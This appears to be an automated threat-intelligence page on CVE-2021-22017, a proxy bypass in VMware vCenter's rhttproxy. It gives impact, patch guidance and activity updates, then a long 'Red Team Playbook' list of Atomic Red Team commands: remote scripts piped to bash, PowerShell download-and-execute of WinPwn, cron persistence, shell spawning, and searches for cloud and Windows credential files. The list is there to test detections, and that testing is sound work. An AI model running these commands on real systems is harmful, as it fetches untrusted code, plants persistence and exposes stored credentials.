CVE-2021-22017
Overview
This vulnerability is an access control bypass caused by improper URI normalization within the rhttproxy component of VMware vCenter Server. The root cause lies in the failure to correctly sanitize and normalize specially crafted URI paths, allowing traversal sequences to bypass proxy restrictions. The affected feature is the HTTP proxy handling mechanism on port 443 in vCenter Server versions 6.7 and related VMware Cloud Foundation components.
Vulnerability Description
Rhttproxy as used in vCenter Server contains a vulnerability due to improper implementation of URI normalization. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to bypass proxy leading to internal endpoints being accessed.
Impact
An unauthenticated attacker with network access to port 443 can bypass proxy restrictions to access internal endpoints of the vCenter Server. This access may expose sensitive internal services and data, enabling information disclosure or further exploitation within the internal network. The vulnerability facilitates lateral movement or reconnaissance activities by circumventing intended network segmentation controls.
Solution
VMware addressed this vulnerability in advisory VMSA-2021-0020. Users should apply the patches provided for VMware vCenter Server 6.7 as detailed in the advisory at https://www.vmware.com/security/advisories/VMSA-2021-0020.html. No alternative workarounds are specified; applying the official update is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Rhttproxy component of vCenter Server arises from an improper implementation of URI normalization. This flaw allows an attacker with network access to the server's port 443 to manipulate requests in a way that bypasses the proxy's intended security measures. URI normalization is a critical process that ensures uniformity in the way URLs are processed, preventing attackers from exploiting discrepancies in URL interpretation. When this process is flawed, it can lead to unauthorized access to internal endpoints, exposing sensitive resources that should otherwise be protected by the proxy.
Attack vectors for this vulnerability are particularly concerning due to the ease with which they can be exploited. An attacker could craft malicious requests that exploit the normalization flaw, effectively tricking the proxy into allowing access to restricted internal services. For instance, an attacker might use specially crafted URLs that appear benign but redirect traffic to sensitive internal systems. This could enable unauthorized actions, such as data exfiltration or manipulation of critical infrastructure components. The potential for exploitation is heightened in environments where vCenter Server is deployed, as these systems often manage virtualized infrastructures that are central to an organization’s operations.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely heavily on VMware's virtualization solutions. The ability to access internal endpoints without proper authorization can lead to severe business risks, including data breaches, loss of sensitive information, and potential regulatory non-compliance. Additionally, the exploitation of this vulnerability could facilitate lateral movement within a network, allowing attackers to escalate privileges and compromise additional systems. This could result in extended downtime, reputational damage, and financial losses due to remediation efforts and potential legal liabilities.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly monitoring network traffic for unusual patterns can help identify potential exploitation attempts. Intrusion detection systems (IDS) can be configured to alert administrators to suspicious activities targeting the vCenter Server. Furthermore, organizations should ensure that they are running the latest version of vCenter Server, as updates often include patches for known vulnerabilities. Implementing strict access controls and network segmentation can also reduce the risk of unauthorized access, limiting the attack surface available to potential adversaries.
In conclusion, the vulnerability in Rhttproxy within vCenter Server highlights the critical importance of robust security practices in managing virtualized environments. By understanding the technical details of the flaw, recognizing potential attack vectors, and assessing the associated business risks, organizations can better prepare themselves against exploitation. Proactive detection and mitigation strategies are essential to safeguard sensitive internal resources and maintain the integrity of virtualized infrastructures. As cyber threats continue to evolve, organizations must remain vigilant and adaptive in their security posture to protect against emerging vulnerabilities.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2021-22017, with our telemetry indicating the first confirmed new sighting after a period of dormancy. Despite this uptick, the Exploit Prediction Scoring System (EPSS) score for this vulnerability has declined significantly, reflecting a reduced likelihood of widespread exploitation in the near term. This divergence suggests that while adversaries are probing or attempting to leverage the URI normalization flaw in VMware vCenter Server’s rhttproxy component, the overall exploitation momentum remains limited. The absence of new exploit techniques or ransomware linkage further tempers the immediate threat level. Nonetheless, the emergence of detection signals underscores the necessity for continued vigilance, as attackers may be conducting reconnaissance or preparing for more targeted operations. Consequently, the risk profile for CVE-2021-22017 has shifted to reflect a moderate but active threat environment, emphasizing the importance of monitoring evolving adversary behaviors rather than an imminent surge in exploit campaigns.
Update 2 — July 06, 2026
CSURFACE threat intelligence has identified a slight increase in detection signals related to CVE-2021-22017, reflecting a modest uptick in adversary interest targeting the rhttproxy vulnerability in VMware vCenter Server. This change is accompanied by a marginal rise in the Exploit Prediction Scoring System (EPSS), indicating a growing likelihood of exploitation attempts, albeit still below thresholds associated with widespread active campaigns. While no new exploit techniques or ransomware affiliations have emerged, the incremental telemetry trend suggests that threat actors may be conducting preliminary reconnaissance or low-scale probing activities. For defenders, this subtle shift underscores the importance of maintaining vigilant monitoring of network traffic and proxy access logs, as early-stage exploitation efforts could precede more aggressive targeting. The overall risk posture for CVE-2021-22017 now reflects a cautiously elevated threat environment, where exploitation remains limited but increasingly plausible, warranting continued attention to evolving adversary behaviors.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vmware | Vcenter Server | 6.7 |
cpe:2.3:a:vmware:vcenter_server:6.7:-:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-22017 |
| vmware.com |
GitHub CVE
x_refsource_MISC
|
https://www.vmware.com/security/advisories/VMSA-2021-0020.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22017 |